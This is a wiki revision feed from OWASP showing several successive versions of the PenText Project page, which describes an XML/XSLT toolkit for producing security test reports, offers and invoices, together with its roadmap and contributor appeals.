* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* Additional validation scripting by Peter&lt;br /&gt;
* XML content by Peter, Christine, Deborah, Marcus and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219183</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219183"/>
				<updated>2016-07-21T10:43:09Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Contributors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* Additional validation scripting by Peter Mosmans&lt;br /&gt;
* XML content by Peter Mosmans, Christine Rose, Deborah, Marcus Bointon and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219182</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219182"/>
				<updated>2016-07-21T10:39:51Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Roadmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documenation Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The project originated at and is currently maintained by several members of: [https://www.radicallyopensecurity.com Radically Open Security]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219181</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219181"/>
				<updated>2016-07-21T10:38:18Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Getting Involved */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documenation Project is developed by a worldwide team of volunteers. A live update of project  [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The project originated at and is currently maintained by several members of: [https://www.radicallyopensecurity.com Radically Open Security]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219180</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219180"/>
				<updated>2016-07-21T10:37:16Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Roadmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
